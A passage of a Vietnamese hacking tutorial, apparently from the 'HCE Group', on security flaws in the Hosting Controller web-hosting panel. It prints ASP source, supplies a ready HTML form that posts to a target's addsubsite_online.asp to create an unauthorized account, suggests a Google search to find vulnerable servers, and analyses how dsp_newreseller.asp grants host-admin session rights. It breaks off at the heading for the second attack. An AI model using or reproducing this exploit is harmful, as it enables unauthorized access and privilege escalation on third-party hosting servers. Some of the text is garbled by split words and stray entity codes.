phone = T(Request.Form("phone")) zip = T(Request.Form("zip")) > Khai báo các biến và gán cho nó các giá trị quan trọng được người dùng gởi tới từ client -> như "loginname" và "password" v v QUOTE 'sub function to create the new User Account Result = InternalAddUser(UserName,Domain,Password,UserName, UserName,"FALSE","FALSE",NAdminLevel,existingemail ) if (Result >= 1 and Result < 9) then session.Abandon() end if Response.Write "Result of user creation is : " & Result & "<br>" 'Response.End & #39;============================================== ============================== ====== 'Create User function public function addUser(UserName,Password,QuotaLimit) on error resume next ' 'initallization newadminlevel = "webadmin" Description = "Web admin" set rs = Server.CreateObject("ADODB.RecordSet") set adm = Server.CreateObject("AdvAdmin.AccountAdmin") autosetupreseller = adm.GetStrAdvReg("General","autosetupreseller") set adm = nothing AdminName = autosetupreseller m_UserName = UserName m_Password = Password 'check the existance of the reseller account 'Result = CheckReseller() WebQuota = 0 MailQuota = 0 FtpQuota = QuotaLimit ODBCQuota = QuotaLimit VDirQuota = QuotaLimit ServuQuota = 0 StatsQuota = 0 Session("AdminName") = autosetupreseller Result = InternalAddUser(m_UserName,Domain,m_Password,m_Use rName,m_UserName,"FALSE","TRUE",newadminlevel) addUser = Result end function > Tạo user với các giá trị biến ! (source của file này còn nhiều , nhưng chúng ta chỉ cần xem tới đây là đủ ! hi hi) -> heee -> tới đây chắc các bạn cũng đã hiểu file này có khả năng làm được gì rùi chứ ! -> Ta có thể tạo được một User mới nhờ file này ! 3) Tấn công : - Bây giờ làm cách nào để ta tạo ra môt Account trên HC đây ! -> rất đơn giản ! -> chúng ta chỉ cần tạo một file "AddUser.html" có nội dung như sau : CODE <FORM action="http://[target]/admin/hosting/addsubsite_online.asp" method="post"> <INPUT type="hidden" name="domaintypecheck" value="SECOND" id="Hidden1"> Domain: <INPUT name="DomainName" value="hcegroup.net" id="Hidden2"><BR> Username: <INPUT name="loginname" value="kehieuhoc" id="Hidden3"><BR> <INPUT type="hidden" name="Quota" value="-1" id="Hidden4"> <INPUT type="hidden" name="htype" value="27" id="htype5" > <INPUT type="hidden" name="choice" value="1" id="Hidden6" > Password: <INPUT name="password" value="kehieuhoc" id="Hidden7"><BR><BR> <input type="submit" value="Make"> </FORM> Lưu file này lại trên PC của ta và run nó ! -> nhập các thông tin username , password -> make -> chuyện gì đã xãy ra ! -> Một Account mới đã được tạo trên HC theo ý muốn của mình ! (Search trên Google.com với từ khóa chẳng hạn như: "powered by Hosting Controller" để tìm các Server sử dụng HC) Hết phần I // KeHieuHoc - HCE Group \\ Chào các bạn ! Hosting Controller thật là tiện dụng nhưng cũng thật là nguy hiễm với những lỗi bảo mật của nó phải không các bạn ! Và hôm nay chúng ta sẽ tiếp tục tìm hiểu về những lổ hỏng bảo mật này ! Như các bạn đã biết , ở phần I chúng ta đã nghiên cứu và tìm ra được cách tạo một Account trên HC với quyền "Web Admin" từ bên ngoài . Nhưng với Account này chúng ta bị giới hạn quyền rất nhiều trên HC . Vì vậy bây giờ chúng ta hãy tìm cách có được quyền hạn cao nhất trên HC , nhưng Account nào có được quyền hạn đó và làm cách nào để có được nó ? Phần II : " Login với quyền Host Admin " I) Suy luận : - Sau khi có được Account -> chúng ta login vào HC ,lúc này để hệ thống chấp nhận Account được phép sử dụng tài nguyên trên HC thì HC phải cấp cho ta một số "session" -> đây là những "session" cơ bản mà bất cứ Account nào cũng cần phải có nó để hoat động trên HC ! -> Những "Session" này sẽ được tạo ra trong quá trình Login ! - Những session này đã giúp cho chúng ta được phép sử dụng được một số chức năng cơ bản ! - Account trên HC có một vài phân cấp khác nhau như : "webadmin" , "reseller" , "host" -> trong đó ta đặt biệt chú về Account có quyền "host" -> bởi vì nó có quyền cao nhất HC - Nhưng để hệ thống HC phân biệt Account này với Account có quyền "webadmin" thì nó phải cấp thêm một vài Session đặt biệt nữa cho Accout này ! -> Ở phần trước chúng ta đã có Account với quyền "webadmin" -> tức chúng ta có thể tạo ra những session cơ bản .Nếu có thêm những session đặt biệt -> chúng ta có quyền "Host Admin" ! -> Mục tiêu của chúng ta bây giờ là tìm cách tạo ra những session đăt biệt này! -> hic , nhưng bằng nào đây ! -> rất may cho ta , trên HC xuất hiện thêm một bug giúp chúng ta làm được việc này ! II) Phân tích bug : - Bug này nằm ở file: "dsp_newreseller.asp" , chúng ta cùng xem source của nó ! CODE <% dim rs dim autosignup set conn = Server.CreateObject("ADODB.Connection") set rs = Server.CreateObject("ADODB.RecordSet") set adm = Server.CreateObject("AdvAdmin.AccountAdmin") ConnString = adm.GetStrAdvReg("General","ConnString") conn.Open ConnString strQuery = "select * from Admin_List where AdminLevel='host'" rs.Open strQuery,conn,1,3 AdminName = rs.Fields("Name") rs.Close AdminLevel = "host" Session("AdminName") = AdminName Session("AdminLevel") = AdminLevel set AdminObj = server.createobject("AdvAdmin.AccountAdmin") DomainName = Trim(AdminObj.GetMachineName) set AdminObj = nothing Session("ValidReq") = true Session("Domain") = DomainName Application("Connection1_connectionString") = ConnString & #39;********************************************** ****************************** ******** '*** get the properties of the host and if he is found in the cyber cash table show it '*** it the reseller CC form other wise do not strQuery = "select propname from cybercash where adminname='"& AdminName &"'" rs.Open strQuery,conn,1,3 if rs.EOF then autosignup = 0 else autosignup = 1 end if rs.Close %> - Session("ValidReq") = true - " strQuery = "select * from Admin_List where AdminLevel='host'" " -> lấy tất cả data từ cái table " Admin_List " ở AdminLevel='host'" - " AdminName = rs.Fields("Name") " -> Vì cái Account tên "Hcadmin" có quyền "host" thường là giá trị đầu tiên của coloum "name" nên biến AdminName = "hcadmin" Và " Session("AdminName") = AdminName " -> Session("AdminName") = "hcadmin" QUOTE AdminLevel = "host" Session("AdminLevel") = AdminLevel -> Session("AdminLevel") = "host" -> session đặt biệt ! III) Tấn công :